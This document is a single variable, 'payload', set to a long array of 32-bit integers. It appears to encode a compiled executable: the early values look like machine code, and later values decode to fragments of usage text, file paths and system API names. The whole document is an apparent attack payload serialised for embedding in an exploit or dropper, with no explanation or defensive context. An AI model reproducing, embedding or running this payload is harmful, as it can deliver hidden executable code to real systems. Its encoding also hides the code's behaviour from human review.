payload=[1540073,1032016128,13467,2200859648,3449405,410255360,2433059656,1207959604,881198535,0,92864512,13436,447,3574988544,3942645817,1522545097,2303218627,3967895802,512,154504520,1207959591,3224496009,1016206847,2303197184,8503270,369033216,14996,12878152,1526726658,827545027,1032016347,13351,2558791424,2197815296,3418685,2104754176,369098545,15408,1220905288,2202589225,1803424760,17140548,2332033076,3673869,361449472,13288,822971212,1090519100,4294965377,226361359,351846721,2469760328,3942645798,4169220379,1023,3644165448,2113929254,4173414667,898451466,9889,3376254280,822083635,3523166656,3174927688,1207959603,921234313,3959422975,3218813186,1,955651583,1541996544,1526726655,1566294065,827802051,1096171986,1431585109,4085860435,3908448593,7856,4130460209,1105168712,2716386441,3204448286,65536,369083785,14936,16777407,3330885888,977933823,2235891712,209981412,2231369729,75763693,822083585,178934,2302935040,3314108903,2046952,3136696576,2,770240393,822083615,113398,2302935040,522119399,4130406400,442,1223657728,233358217,822083615,1156985298,2303321993,520022215,3526426624,4018796081,2028520,4214836224,3677423476,36329,4219684864,6600803,1326383104,178904,3690397696,1223133508,2303253347,516352222,2303197184,178910,4018733056,2013160,113152,2303459328,3884532982,1947624,113152,2303459328,3347663342,3280596873,1942504,4286924032,960569470,823883207,1284129216,943783941,2390033932,968949576,3152969667,1,3677422315,4294412620,3860245,4018752512,987633151,2302935040,495380711,4018733056,1933288,822274816,3632880347,1547787611,1581342017,1103322945,1096171863,1431585109,3968026707,4102637864,1222019401,2303261577,3979429335,981079551,2303459328,1149847783,369035300,14956,2303248689,2311651269,1209017412,2370617699,2151744316,611582015,472140937,1290176844,369098633,14644,472140939,1975990601,608961287,3321839888,3488334335,612141896,3580053768,1223504197,256438057,2370361263,369033788,14492,1221036361,2236471433,2152756479,1665728571,1212183765,270816393,1223067980,369090441,14560,609520456,3275311120,2370377589,2303465276,3942729974,942020095,54788096,3943179372,1090751174,4282959359,76038595,1102637847,1508550,1224247628,1529398403,1096565085,1096696157,1463927647,1430345281,1398101057,418153288,1241352520,2286016137,4169746676,443,2215676416,1141929170,2484068920,3237955778,30586383,1223355347,3242785635,369034215,14320,1237353800,225707657,1172998472,29355313,3942645760,3921686801,153,1959016513,3271510029,42649599,4034248836,2336831979,4251143430,609519944,4284696584,4161572170,604801352,933631487,2336751616,2303206412,109791489,4164715338,1102738432,4281452031,609520456,1236986632,1665992331,4284696813,3896282446,930485759,2303262720,109791495,3896279882,1217295360,3375431819,2214614410,1092646098,125097016,4282912904,3322932160,3254714368,1208388425,2336805219,4282961924,2312760261,3296938200,1096637208,1096630620,3277799774,418153288,442,1955416064,1038618404,2197815323,2236153802,252015808,254039230,2202587273,1103304900,1096040789,3210083721,65536,369055315,14064,1958774088,3314108477,1155805509,2984832905,2214592511,175439864,625248322,3305064704,1665788395,1955414468,1153827108,1207959557,1213853577,1566307939,1564564545,927344127,827981824,1096637376,3277668700,4130460209,450291793,3526426624,1962932355,3905390860,6868,442,1523616000,369054147,14236,2236142129,1208906944,369084297,14324,442,1523616000,3967895747,136,611618120,458156040,3397582848,2025883135,608471825,1725051152,1727004709,262144061,3498689172,2294579528,3271557120,1032669267,13144,4294934504,1975551487,33536574,29229056,1207959558,859717005,1172832256,1207959578,574111117,3280535552,930223615,3750297600,657821000,1207959586,434684553,2298478618,703159263,1526726682,1431585219,4220078163,820806472,9663,3373661952,1207959605,3526483849,2303260209,435611845,2370568192,822813796,3200485842,64,3119040393,1275068442,633005705,2298478592,431679711,3750297600,1693672,3867757568,4293888328,3492629,3296937984,3901311024,1547787611,1096106435,1213420884,1209592963,12582281,4278190081,3497749,361580544,9333,2234879304,1207959588,2303258505,4230080707,2303262719,3297331655,4294875112,264275455,45956,835858688,3884535030,1663976,1103595776,417907849,1157627902,2303321993,425388229,2370306048,2371125,4018752512,896144895,2236088320,1283290304,136602765,12222,3800648704,1221036360,136594631,0,4294749672,1418414335,582879268,1207959552,2089502872,2303523010,4237617378,2336817151,1208493124,369047691,13872,1958774088,1821067315,2370308132,2120725,898451456,9172,8227656,4294669032,3750316287,4557128,608471880,814434312,877270527,552271872,3908012360,4294966937,1222609224,2303247753,823525318,1207959604,369094537,13816,415531848,1540917576,1096565085,1463927645,1430345281,1398101057,2297200968,1224736773,2303261833,2626504949,32804,4273465344,2370371583,2314805,3750316032,1220905289,3224486537,894834175,2303459328,2769682415,1207959605,596653453,2303459328,1695940583,1207959604,2370361993,2325813,3229960192,2370315893,2328373,3884534784,877008383,2303197184,898451674,9076,1975551304,898451463,8954,3908012360,4294965915,1221036360,300467593,2248146941,4102361024,1207959552,585055629,369033216,13504,1237353800,2215626377,219,615288140,384,612142412,4152970248,865474047,2236088320,3011776448,1207959552,1208506509,581907853,2303197184,2299920351,2231369780,1222014144,580531597,2303197184,1964376031,2231369780,1220703424,579417485,2303197184,1628831711,2231369780,1219392704,578958733,2303197184,1293287391,2231369780,1218081984,2370361737,2262293,898451456,8840,837781836,1159069632,1275068468,2303524489,400484591,3229941760,4285236495,1150025727,627445796,1030156288,2232385536,4294967129,1290701132,1256777609,2248146936,1183059904,1224736767,2303520393,394455279,2303459328,1091960823,1207959604,92849281,1566244864,1564564545,1598119489,1096171971,1431585109,4220078163,1089241416,1207959553,2303260553,4226214133,2303262719,1958774239,4245153882,2370633727,1212163172,563950989,2303262720,3263776965,837257548,2702573504,1275068467,369094537,13296,3677719880,1207959585,369094537,12976,1222805836,566769037,2236088320,2827292608,1207959552,567162253,2632515584,3892314112,4294966341,610569548,898451470,8515,1220905289,2303509129,4290785767,3360533,4018752512,865474047,2370306048,2195765,3750316032,844502527,2303459328,898451682,8558,1975551304,898451463,8568,3908012360,4294965419,1221036360,568903049,2248146939,1214084288,2370625417,3896517740,4294966333,3627388232,1275068448,2303324041,3263776966,369082417,13020,4294412620,3353365,3934866432,1223067980,1625878409,1224736760,2303258505,3297331654,1456104,3750316032,1426408,3733538816,3907488076,5596,1086619976,1526726657,1096565085,3277734237,1398101057,1224444232,1209068675,779238797,2582118400,2248146938,822572480,16312768,3526426624,2370369073,3036989,358541312,3347644416,3905194305,4294965779,1223133508,1441318281,1207959573,369094537,12924,1958774088,898451654,8310,4292839752,3233557,3229960192,2370315892,1873941,898451456,8282,3906963784,4294965167,2182450504,1207959580,542061965,971702272,1328909640,1207959584,369090441,12572,1645579592,1207959580,661962885,859147592,1207959584,1961418633,1224736759,474420621,2370306048,2107957,3347662848,4294401768,1211296767,539243917,2303197184,4149078239,2370371583,3188204628,47,1221036360,136594631,0,4294452712,1149978879,2336753700,3330885632,4293888328,3189525,3229960192,264279311,2202583222,1566249156,1438866497,1032669267,11608,4185843793,3230007295,3224437877,3526451179,2370369073,2965309,340191232,3347644416,4243113353,2315255800,3280554223,1327080,3750316032,828773887,2236088320,1221293248,530265485,2303197184,1091960799,1207959600,3061170309,2285210952,1207959583,369090441,12332,264275272,3054485653,1566268096,1213420995,752762253,3897622528,4294965508,74825861,1609285681,4130460209,3309145416,3892314156,5068,3314141065,4294476520,1223657983,3320365961,1207959571,369090441,12524,1958774088,898451659,7981,4292839752,3131157,3229960192,2370352757,2038325,3750316032,800200191,2236088320,3230994368,1522578959,1438866779,1032669267,11364,4169853009,3230007295,3224437877,3526451179,2370369073,2902845,324200448,3347644416,149472649,2315255800,3280554223,1264616,3750316032,812783103,2236088320,1221293248,515847565,2303197184,1293287391,1207959599,3061170309,2889190728,1207959582,369090441,12088,264275272,3054485653,1566268096,1213420995,736771469,3897622528,4294965264,74825861,1609285681,4130460209,3510472008,3892314155,4824,3314141065,4294414056,1223657983,3521692553,1207959570,369090441,12280,1958774088,898451659,7766,4292839752,3068693,3229960192,2370352757,1983285,3750316032,784209407,2236088320,3230994368,1522578959,1438866779,1032669267,11120,4153862225,3230007295,3224437877,3526451179,2370369073,2840381,308209664,3347644416,350799241,2315255799,3280554223,1202152,3750316032,796792319,2236088320,1221293248,501822861,2303197184,1494613983,1207959598,3061170309,3593833800,1207959581,369090441,11844,264275272,3054485653,1566268096,1213420995,720780685,3897622528,4294965020,74825861,1609285681,4130460209,3711798600,3892314154,4580,3314141065,4294351592,1223657983,3723019145,1207959569,369090441,12036,1958774088,898451659,7550,4292839752,3006229,3229960192,2370352757,1927989,3750316032,768218623,2236088320,3230994368,1522578959,1438866779,1032669267,10876,4137871441,3230007295,9929743,3526426624,2370369073,2777917,292218880,3347644416,552125833,2315255798,3280554223,1139688,3750316032,780801535,2236088320,1214674112,484980109,2303197184,1695940575,1207959597,427147397,1222609224,483399053,2370306048,1887029,4089309184,2303262719,33536707,29229056,1207959558,704527757,99090432,1207959569,3314147209,775296511,4018733056,1222543688,3790127753,1509949456,1566306185,1109993,1566267392,827605443,1213421010,4130468745,1101800,4294476544,4290408308,3187671041,1537,2313128264,280422597,4169334784,3297329663,12535924,4278190336,2909973,3229960192,1958971720,47661,2303197185,3908012510,4212,1958774088,3263776784,1155434824,1843980169,3942645776,3750316252,768218623,2302935040,275966183,2304442368,1547787759,1075177,1096637184,1463927644,1430345281,1398101057,418153288,2303250993,4130415668,3908864329,4152,268433539,73604,1015760896,33536548,29229056,2298478598,270198979,4169334784,3347661311,15303695,2303459328,2407205,48896,96927745,9412,1,733353471,2236088320,3314108864,8815631,45744128,822083584,836733430,279898349,28966912,822083584,3906963958,4256,4130460209,2303319945,278063302,12189696,1275068672,3750358665,1020904,3229960192,1958840648,3397994554,1156483404,2303262601,3892847692,3972,608996168,3439413256,1240349001,837699087,3312142546,218187876,9272,2314663753,2637573,1286597376,369094537,11452,3909060932,3940,3353839948,2365189,0,352700160,40,1207959552,603588039,0,1239941120,1207959567,1277443211,1642653321,1207959567,2300101763,1096637407,1096630620,3915333982,3868,415531848,1547787611,1581342017,1103322945,1431585109,3967895635,1288,1241352520,921236617,1224736757,433141133,2303197184,3314108903,834832712,3574988736,1275068459,369094537,11300,255167816,1207959578,369094537,10980,1222805832,435959181,2236088320,1210480064,436614541,2303197184,3306553327,1207959594,2370364041,1700661,3229960192,2370307957,1669429,3884534784,4293991144,3884535039,3905128776,4294964112,192200837,1289652552,3857246089,1207959566,2370625417,16786596,1911029760,2248146931,1209824704,2370365833,1708053,898451456,6677,4293364044,2832149,1210968832,2303254153,4016040175,2303262719,361580761,6651,2337063045,2823941,1210217728,435631501,2303459328,3506389479,3907488076,4294962769,1222543688,2615734153,3959422973,898451509,6659,837257548,3506389440,3907488076,4294962733,1471,4044750592,1207959591,3723030409,1207959565,2303258249,234285279,2168979456,329924,1096637184,3277668700,1213289301,2303261577,4076857589,3230007295,2303203957,136964319,3229941760,1213861493,2303258249,3915209695,4294966911,3277675352,1405104469,4220078161,3908405576,4294965625,645185669,3906963784,4294963905,443924613,3906963784,2027,242598021,4001974362,1541376328,4105496925,1532559359,827704157,1213289408,2303261577,4197443829,3230007295,2303203956,4068731103,3230007295,1213861492,2303258249,3915209695,4294964781,3277675352,1447122753,1413567809,2169000789,563436,4136192256,607947080,4292315457,2739989,3229960192,24937487,4290641920,1275068417,2303326089,2894940357,36900,224061440,2370306048,1276650564,2418320525,1207959556,136594569,4293888332,2657045,3229960192,20415503,2370306048,2370308184,1549365,3750316032,696129023,3229941760,2370360948,1543989,3750316032,694818303,3229941760,2370355828,1539637,3750316032,693507583,3229941760,2370350708,1537845,3750316032,692196863,3229941760,2336791156,2303206420,898451673,6016,837781832,1024851904,1207959593,2303515017,898451698,5992,837257548,622198720,1207959593,136606859,3908012360,3260,2232402053,4294967124,539247755,4026541414,1073757542,2302940021,3867757818,3908012360,4294967012,4294915049,4024063,696586112,1224736767,404895117,2303197184,4246077423,1207959591,276086917,33522497,2303468661,4041140455,904658943,37064008,1207959576,369094537,10200,1975551304,4276808155,2303524863,4038781159,3230007295,4275733519,2303524863,4018751718,4293705960,264275455,4294887301,3867757823,3908012360,4294965909,4294883305,4018752767,682759679,2168979456,563396,1096637184,1096630620,3277799774,1430345281,1398101057,1224575304,33614977,2303197184,361580791,4785,2117438792,3892314134,4294962635,2652212552,1207959570,375403917,2303197184,3297331695,4293767912,361580799,4741,1379241288,1207959574,2303248265,3986286819,2370371583,1525045,3884533760,1237485896,3224487305,669390335,2303197184,4026198247,3230007295,2303216500,2894940399,65572,4037797888,2303524863,898451682,5937,1220970825,2303246729,4290785775,2600725,4152970240,670963199,2303197184,4022003951,3230007295,2303200117,3884533998,4294552808,3934866687,1222609224,385693069,3224436736,662312447,2303459328,3750316262,442,4250593280,2169044991,131268,1096637184,1096630620,1398129502,1375045960,1224444232,362034573,369033216,9836,1958774088,3904909593,4294965167,242598021,4001974362,1541376328,4274973021,1532559359,1463927645,1430345281,1398101057,2565636424,1224736776,2303327881,3843424247,1207959590,2215624837,382,131006,4287187968,1220905289,2418318477,3892314112,2672,608472392,2760723480,299044,1149847552,2303461412,2702573551,1207959589,2215624837,313,141069640,3124071752,1207959572,369094537,9876,3597975685,2771750216,1207959572,369094537,9856,3262431365,1290373448,2370368137,1359669,3750316032,369082417,9852,1290373448,2370370185,1353525,3884534784,369082417,9828,611617608,3750316040,654312,1975551232,608471937,2450976,4024048,1276147008,2303256201,4279822559,1676279807,1728053247,260046909,4294924677,898451711,5230,4292839752,2442005,3229960192,3224440180,4294221544,1975551487,1215359793,341980557,2303197184,555089887,1207959589,3732258949,3744828744,1207959571,369090441,9484,1975551304,4278774217,2303262719,4080986335,3230007295,4277699599,2303524863,3750316262,4294671848,3867757823,3906963784,4294966874,1223067980,703127433,1291845627,2303256201,4209961183,3354001407,1224736766,4259897225,2248146930,3078950848,3959422974,4018752701,633738751,2168979456,563396,1096637184,1096630620,3277799774,4220078163,283935560,248040,178579456,1491599360,1207959561,349846925,369033216,9512,1975551304,898451478,569,3218770248,11,1011176,1208609536,369084297,9580,475624,96946176,7380,0,96979249,7376,0,96990769,7348,1,1290242376,344458637,2370306048,4293423125,1561722879,822083619,1291203017,343410061,2370306048,4293388309,2089634047,369035300,9024,1732087112,3892314132,4294961165,2751,3507879680,1207959585,347225485,4142399488,3221225447,10,565843455,2370306048,1363517,33536512,29229056,3892314118,1920,3409808712,2197815316,2215641080,333,1978189705,1207959559,346111373,1978138624,3187671047,511,104697160,3892314133,2012,152407368,1207959573,353318285,2370306048,2108221,4290785536,2372373,1032669184,8220,4293673960,1975551487,361580578,5340,4013264200,1207959572,536755597,369033216,9224,2447949873,1224736748,350567821,1189609472,1224736743,355087757,2370306048,1274685,4240500736,3224502271,4294139624,1975551487,33537584,2370306048,1381693,122873856,2370306048,1384509,3876317184,2370371583,1387573,1032669184,5435,4294739432,3904909823,4294964369,812957829,131006,1032669184,5419,464872,1032669184,5426,4293316840,898451711,5434,1161661768,3892314133,4294966346,3706241073,2248146931,1210152384,356269453,2800222208,838860774,898451666,5441,2168294728,3892314132,4294965552,921223217,2248146931,822572224,4103727296,2370371583,1387069,3866355712,96993279,6864,0,281314120,3277570097,268011848,3804317746,3490269216,1200310467,8567048,2336800768,2337030256,839862336,1221691720,18388619,3242721280,155721953,71747528,0,29371720,1187446784,8,340182784,0,711,2336751616,159817872,1451837441,3397601328,2156611839,36444784,541100361,406882633,814189384,1207959553,5055,16777216,1351174200,2022262880,1351174232,3223326568,1220708680,4294959745,571473918,3223457730,1103347761,1213420884,2169043849,131308,1291202816,2149885069,3120562176,384,4293364044,2227989,1224093952,2159732617,4278190080,2223893,3750316032,976588104,4278190100,2213653,113408,2236088320,3314108608,3526445172,2303260209,179143,369033216,8480,3135867208,384,446,3884534784,561124863,3162570752,32804,1313046272,823358804,616333787,132,16777216,2378405135,2303220508,2568355823,1207959585,33604737,3632857088,1547787611,3234285763,37,782569,3234285568,54,779497,3234285568,11,776425,898451456,7824,1032669266,5016,4110796616,30,3892314112,1021,712294533,1832226120,1207959582,327499149,3873964032,2231369731,1209234624,508966285,2370306048,1278269,63956992,1032519680,7748,1159040328,1207959582,326841741,2213019648,2332033027,1977149,361580544,7780,1949666632,3892314131,874,504511883,2370306048,1999637,898451456,4972,217576,4181560064,1207959581,508171661,2370306048,1268533,54061056,1032519680,7648,1897237832,1207959582,324089229,535298048,2332033027,1951549,361580544,7816,1362464072,3892314131,774,497958283,2370306048,1961749,898451456,4950,191976,2503838464,1207959581,505288077,2370306048,1267253,47507456,1032519680,7548,1695911240,1207959582,323696013,3152543744,2332033026,1925949,361580544,7620,1077251400,3892314131,674,491404683,2370306048,1952533,898451456,4917,166376,826116864,1207959581,499783053,2370306048,1256245,40953856,1032519680,7448,823496008,1207959581,320943501,1474822144,2332033026,1900349,361580544,7624,389385544,3892314131,574,484851083,2370306048,1888021,898451456,4878,140776,3443362560,1207959580,494278029,2370306048,1248053,34400256,1032519680,7348,3574959432,1207959580,319436173,4092067840,2332033025,1874749,361580544,7412,137727304,3892314131,474,478297483,2370306048,1934101,898451456,4854,115176,1765640960,1207959580,481432973,2370306048,1239605,27846656,1032519680,7248,1494584648,1207959580,316224909,2414346240,2332033025,1849149,361580544,7440,3342175560,3892314130,374,471743883,2370306048,1883925,898451456,4795,89576,87919360,1207959580,484840845,2370306048,1227061,21293056,1032519680,7148,353733960,1207959580,313931149,736624640,2332033025,1823549,361580544,7332,3006631240,3892314130,274,465190283,2370306048,1880853,898451456,4784,63976,2705165056,1207959579,466752909,2370306048,1223989,14739456,1032519680,7048,2031455560,1207959579,312161677,3353870336,2332033024,1797949,361580544,7040,2301988168,3892314130,174,458636683,2370306048,1838869,898451456,4727,38376,1027443456,1207959579,472782221,2370306048,1205813,8185856,1032519680,6948,2635435336,1207959579,307508621,1676148736,2332033024,1772349,361580544,7100,1110805832,3892314130,74,452083083,2370306048,1792789,2370328576,1192245,3205376,3375431680,835858768,1032669430,4647,1170813253,369082417,7004,361580633,7116,842370376,2298478610,59847,3343384576,151488,132376832,3343384576,151744,131590400,1213202432,23070407,2303197184,2311074290,38911998,3152543744,1509949447,4052306115,1221734736,826670729,38977472,3224436736,500200,2311281152,3526447358,1405077809,822083586,126675136,3277455360,827377969,1224094162,300170637,826605568,3224454601,449451519,1213792256,457315725,2370306048,1170997,3922168064,4294967150,62965576,3909091328,1873,79742792,3909091328,1861,96520008,3909091328,1849,113297224,3909091328,1837,180406088,3909091328,1825,163628872,3909091328,1813,985712456,3909091328,1801,968935240,3909091328,1789,364955464,3909091328,1777,2059454280,3909091329,1765,381732680,3909091328,1753,2076231496,3909091328,1741,2093008712,3909091328,1729,2160117576,3909091328,1717,2294335304,3909091328,1705,2311112520,3909091328,1693,3166750536,3909091328,1681,3183527752,3909091328,1669,3200304968,3909091328,1657,281069384,3909091329,1645,3737175880,3909091329,1633,3988834120,3909091329,1621,1224378696,827388297,39501814,3224436736,409064,1354979840,418790795,2370306048,1730325,898451456,4282,4294850024,3711798271,1207959576,438179213,2370306048,1094197,4263307264,1032585215,6340,4111830344,1207959577,279459213,65536000,2348810238,1616701,361580544,6676,2687864136,3892314128,4294966762,412237195,2370306048,1694485,898451456,4246,4294824424,2034076671,1207959576,431101325,2370306048,1084725,4256753664,1032585215,6240,2165673288,1207959577,277034381,2682781696,2348810237,1591101,361580544,6552,2067107144,3892314128,4294966662,405683595,2370306048,1656597,898451456,4214,4294798824,356355071,1207959576,428742029,2370306048,1078325,4250200064,1032585215,6140,622169416,1207959577,275723661,1005060096,2348810237,1565501,361580544,6468,1832226120,3892314128,4294966562,399129995,2370306048,1647381,2370328832,1076277,4245219584,1163132927,826657073,835269056,1224094162,275332493,369033216,6196,1427475784,1207959577,275592589,3280535552,3622356873,2315255804,361580767,6868,1530236232,3892314128,4294966466,2370363273,1658645,898451456,4171,4294749672,1222609407,430577037,2370306048,1064245,4237879296,3750363135,890604872,1207959578,271594893,2213019648,2315255804,361580767,6624,607489352,3892314128,4294966382,2370363273,1620757,898451456,4118,4294728168,1222609407,426120589,2370306048,1050677,4232374272,3750363135,1897237832,1207959576,268055949,803733504,2315255804,361580767,6436,3962932552,3892314127,4294966298,2370363273,1625877,898451456,4063,4294706664,1222609407,421664141,2370306048,1036597,4226869248,3750363135,3440741704,1207959577,264517005,3689414656,2315255803,361580767,6504,3056962888,3892314127,4294966214,2370363273,1618709,898451456,4008,4294685160,1222609407,425072013,2370306048,1022773,4221364224,3750363135,3776286024,1207959575,260978061,2280128512,2315255803,361580767,6300,2184547656,3892314127,4294966130,2370363273,1660693,898451456,3956,4294663656,1222609407,400692621,2370306048,1009205,4215859200,3750363135,353733960,1207959576,257504653,870842368,2315255803,361580767,6248,1261800776,3892314127,4294966046,2370363273,1596181,898451456,3902,4294642152,1222609407,396236173,2370306048,993333,4210354176,3750363135,2970979656,1207959576,253375885,3756523520,2315255802,361580767,6316,221613384,3892314127,4294965962,2370363273,1552149,898451456,3837,4294620648,1222609407,384963981,2370306048,978997,4204849152,3750363135,1024822600,1207959575,249836941,2347237376,2315255802,361580767,6072,3660942664,3892314126,4294965878,2370363273,1538837,898451456,3788,4294599144,1222609407,399381901,2370306048,965941,4199344128,3750363135,555060552,1207959575,245970317,937951232,2315255802,361580767,5740,2570423624,3892314126,4294965794,2370363273,1535765,898451456,3724,4294577640,1222609407,381293965,2370306048,946485,4193839104,3750363135,2769653064,1207959575,241448333,3823632384,2315255801,361580767,5984,1211469128,3892314126,4294965710,2370363273,1549077,898451456,3650,4294556136,1222609407,390993293,2370306048,930869,4188334080,3750363135,4178939208,1207959574,237516173,2414346240,2315255801,361580767,5956,490048840,3892314126,4294965626,2370363273,1457941,898451456,3604,4294534632,1222609407,384439693,2370306048,919093,4182829056,3750363135,3440741704,1207959573,234435981,1005060096,2315255801,361580767,5544,3962932552,3892314125,4294965542,2370363273,1514261,898451456,3553,4294513128,1222609407,359011725,2370306048,906293,4177324032,3750363135,1494584648,1207959573,231159181,3890741248,2315255800,361580767,5844,3157626184,3892314125,4294965458,2370363273,1421077,898451456,3504,4294491624,1222609407,355603853,2370306048,893237,4171819008,3750363135,3977612616,1207959573,228078989,2481455104,2315255800,361580767,5560,2301988168,3892314125,4294965374,2370363273,1458965,898451456,3450,4294470120,1222609407,354817421,2370306048,879669,4166313984,3750363135,3105197384,1207959573,224212365,1072168960,2315255800,361580767,5556,1312132424,3892314125,4294965290,1213980553,349050253,2370306048,868149,4162119936,826867711,3397994944,24249615,1032014019,4903,1343779840,320738815,2304311296,3234285576,4294967295,4290955080,3288334335,168456997,168430090,1866661898,1852406128,622869095,621415027,539305333,1886220131,1702126956,1884490340,979658085,544548128,1932477005,1886339840,1735289209,1931812922,1965361674,1663051045,1819307375,1684370533,1701860106,540697701,1260418341,7548738,2037411651,979857001,175318304,628434186,1868767269,1701605485,174351732,1701146707,622869092,792862837,1867776115,1701339936,1948281699,1965057384,1914724979,544501615,544370534,543516788,543648624,1701603686,544175136,1702257011,1835627552,1868767333,1852406128,1919295591,1948282223,1763730792,1919251566,543973742,540308336,1986622052,1752440933,1965059685,1836016494,1953391981,1701344288,1852402720,1700929637,779579244,1969359373,1701978228,1651336557,1948283493,544434536,1819044215,1987013920,1752440933,1802510437,1919295591,1948282223,1914725736,544501615,1701996900,1919906915,1869881465,1701344288,877875232,1819239968,779248996,791611917,1128613955,1398103883,218762562,544166922,1634624882,1881171309,1769366898,1819506031,1768693881,1684368238,1735094304,1818846752,1948283749,1752440943,1701716069,1868963959,1952542066,1668183328,1701670255,1948284014,1814062440,543518313,1869374818,168636023,1163013935,1162690894,1347436895,168626701,1679847252,1650553705,1948280172,1881171304,1701015410,1852404595,1718558823,1868785952,1630499694,1629516914,1931502702,1684960623,1668183328,1701670255,1948284014,1814062440,543518313,1869374818,168636023,1229205295,1279410515,1162698565,168640852,1867778573,1634036768,1730176374,543518049,1633972341,544433524,1948282479,1763730792,1919251566,543973742,1986622052,1853169765,1835888483,544501349,543516788,1701734764,1818583584,221149039,1227829002,1380929095,1347772229,1163149636,218762579,544166922,1702260589,1129071648,544175136,543516788,543322997,543450216,1868787317,1852140909,1752440948,1768693861,1646290286,2003790949,789187886,1448037679,1279549253,218762563,544166922,543519605,1936287860,1936288800,1935745140,1814061344,544502633,1730176623,1936026977,1970239776,1851881248,1869881460,1987013920,1869488229,1734942836,1701998446,1701344288,1853169774,1835888483,544501349,543516788,1701734764,1818583584,221149039,1294937866,1598374991,1163284301,168626701,1835104325,543517808,1869506409,1864394098,1869422706,1965057398,1701273971,218762542,1398096650,1482184769,168636760,1095980355,1482184792,1124732210,1480676181,861427800,1936338432,570453615,577532533,620765754,1802514035,1667301479,1735094318,1852649216,1937059700,3092578,603991598,1497580882,776293443,5130562,1953724755,1444965733,1836412015,1850286181,1836216166,1869182049,1831796846,1966044270,3170931,623866661,1966014579,796026227,795897953,1885417216,1802514032,1966014567,796026227,1668571504,788541288,1668571504,1802514024,1966014567,796026227,1667523681,796159599,1294937856,1598374991,1163284301,1127165696,1262699848,1112757599,1227828992,1380929095,1347772229,1163149636,791609427,1095648594,1096762701,788549712,1397310511,1162625601,1413827935,791609409,1163284301,1129071711,1869762560,1936942435,979857001,175318272,1174434597,1684960623,1735094304,544497952,175318272,1326084901,2003985782,1769236850,1629513582,1802510451,1768300647,544433516,543519329,1836280173,1751348321,620782693,1931807347,1768641290,1852403824,1868767335,1629518192,1814062190,1768648297,1696622446,1953720696,543649385,6777712,1735290926,1952525824,1966014521,796026227,1836085345,794915941,1882157861,1970171762,1634296686,1852795252,1819113518,796075264,1949201189,788558968,1919251317,1886413103,1635018093,7546159,1702065455,1885417330,1953366128,1634038376,1953693796,1634038376,1633091684,1852403314,1752440935,1881174889,1869379937,1998611553,543976553,1768189805,1948285286,1713399144,1936026729,1702130553,1852776557,1970239776,1397760114,1426721332,1970040942,1870209127,1965060725,1679843955,1702259058,544175136,1668178275,1948281957,7563624,1953718604,1918990112,1735289198,1851066890,1735748720,1970239776,1937055858,1919164514,543520361,1663070068,1701015137,1752440940,788558697,796159597,811758453,1768173103,1936028786,1867382900,1651733792,1970236704,1713402990,1684960623,1868106286,1970086005,1965061235,1629513075,1717069088,1713402977,1634562671,1684370548,1651733792,1684301856,1701336074,1112757536,1769104416,1830839670,544502645,1881171298,1734833516,1763730533,544175214,809653077,1852649216,1937059700,1345269858,3093587,1416654913,1651725679,1768843566,1852649216,1937059700,623849570,1831796851,1966044270,791700083,791958352,1124102949,1769566319,1092642670,544436336,1428189044,170934867,1768444938,1769414771,1948281964,543517537,1752637537,543517801,2032166505,1746957679,543520353,1937010540,543584032,1701667175,1852383347,1818326131,6579564,1953393967,1651733807,1397763888,1831796788,1966044270,791700083,791958352,1633972341,796091764,1886339840,1735289209,1685091616,1936028769,544175136,809653077,1852649216,1937059700,1345269858,1966027859,1952539760,788558693,1919251317,1952542767,788555875,796159597,811758453,877875247,1668047919,1866661935,1852406128,1818501223,1869881443,1112757536,1831796784,1966044270,791700083,791958352,6515812,1702065455,1684090738,1852793700,1917845620,1936024431,1735289203,1886413088,1635018093,1937059584,1630499429,1701671024,1124098420,1819307375,778400869,6451712,1801611628,1701737061,1886596716,1811970162,1701536361,1818586738,1650816863,1919972142,1768685688,1919249250,1600939374,779319667,2020765811,1935630080,1801675124,1802003295,1635084127,1593861234,1635021663,1667197795,1717529448,7104865,1919246175,7499634,1264935795,1701737061,1920091500,1929409135,1699439971,1818586738,1684107084,1918989395,1685015924,6646901,1264935795,1701737061,1819033964,1952539503,1919501413,1299473253,1919905125,1668481145,1919241061,1298949486,1766092897,1952671090,1869440333,1929410930,1699439971,1818586738,1952543827,1701016320,1852990795,1884253285,1929408101,1699439971,1818586738,1684104530,1701016320,1852990795,1934388325,7038309,1264935795,1701737061,1869366124,1929405811,1699439971,1818586738,1701145683,1668481136,1919241061,1433167214,1701145715,1668481136,1919241061,1198286190,1769239653,1718576493,7954788,1264935795,1701737061,1952794476,1668248144,1416852325,6647145,1264935795,1701737061,1952794476,1920103747,1131703909,1929409904,1952674681,2037579884,1819566963,1634629986,1929405805,1918989177,1694525539,1986225528,1953497189,1634038376,1702059876,1879074412,1701996660,1935631457,1717662821,1768843622,1851750772,1668481136,1919241061,1131177326,1952540018,1970357605,6649189,1264935795,1701737061,1818575980,1164276837,1969583473,1668481125,1919241061,1097622894,1934976100,1984262757,7630437,1264935795,1701737061,1684291948,1684104530,1852143173,1701249140,1684632948,1952802560,6580583,1886676327,1728078953,1886418021,1929405545,1769305189,1702035556,1684629364,1952805632,1769301362,1702035556,1734701684,788554857,1953724787,1664052581,1869442415,1768697710,1768697698,1701008226,1433631059,778856820,2020765811,1701016320,1433631059,1399613812,1399090789,1702130553,1953451629,1667851881,1869182049,1953060718,2019906664,1768685684,1701008226,1836284243,1819632751,1886596709,1929410674,2035508579,1685024115,1281715317,1298424175,1819632751,1668481125,1752453221,1684104562,1634038339,1929405812,1951425891,1634038376,1769489764,1668481140,1752453221,1684104562,1635018052,1929406563,1951425891,1634038376,1768901220,1668481134,1752453221,1684104562,1818585433,1668481124,1752453221,1684104562,1718379859,1701016320,1919448144,1130652005,1701015137,1668481132,1752453221,1684104562,1702131021,1768835448,1668481140,1752453221,1684104562,1702131021,1936016504,2037346932,1701016320,1919448144,1298424165,2019914869,1801678668,1701016320,1919448144,1298424165,2019914869,1819898452,7037807,1348821875,1701996660,1968006241,1417176436,1684368745,1801678700,1701016320,1919448144,1298424165,2019914869,1869377109,1811966819,1666409065,1651068005,1953384803,1634628197,1886596716,1828747378,1869376609,1919287395,1660970341,1869376609,1701970019,1869376609,1701642339,1768710509,1828744807,1702063461,1701642356,2037408621,1835363584,7368035,1668445299,1929410928,1668182644,1929410928,1633907316,1953693812,1633906290,1953693812,1852140658,1920234240,7368035,1852994675,7368035,1769107571,6714478,1919970931,1718906473,1668510464,6712929,1668445299,1929409128,1668444788,1929409128,1953722996,1953693810,1886741618,1852404224,7890276,1768190825,7629159,1768911969,1920234240,2037408620,1920234240,1869771365,1197408370,1668314213,1701869940,1951620864,7107951,1886348130,1920139385,6581857,19526746